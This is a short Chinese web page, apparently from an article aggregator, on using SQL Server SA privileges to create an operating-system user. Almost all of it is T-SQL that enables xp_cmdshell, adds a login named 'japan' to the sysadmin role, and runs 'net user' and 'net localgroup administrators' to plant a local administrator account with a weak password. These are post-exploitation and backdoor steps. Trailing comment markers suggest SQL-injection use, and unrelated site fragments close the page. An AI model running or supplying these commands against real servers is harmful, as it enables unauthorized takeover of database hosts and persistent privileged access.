微軟SQL Server 在SA權限下建立系統用戶 方法

--enabble xp_cmdshell
EXEC sys.sp_configure N 'show advanced options' , N '1' RECONFIGURE WITH OVERRIDE  go
EXEC sys.sp_configure N 'xp_cmdshell' , N '1' go  RECONFIGURE WITH OVERRIDE  go EXEC sys.sp_configure N 'show advanced options' , N '0' RECONFIGURE WITH OVERRIDE  go
-- Unenable xp_cmdshell
EXEC sys.sp_configure N 'show advanced options' , N '1' RECONFIGURE WITH OVERRIDE  go
EXEC sys.sp_configure N 'xp_cmdshell' , N '0' go  RECONFIGURE WITH OVERRIDE  go
EXEC sys.sp_configure N 'show advanced options' , N '0' RECONFIGURE WITH OVERRIDE  go   -- 經過xp_cmdshell 建立操做系統用戶, japan 是用戶名及密碼
exec master.dbo.sp_addlogin japan; --     exec master.dbo.sp_password null,japan,japan;--  
exec master.dbo.sp_addsrvrolemember japan,sysadmin; --  
exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add' ; --
exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add' ; --      



愛撫州網 www.i0794.cn shell

www.bzff.com ide

相關文章
相關標籤/搜索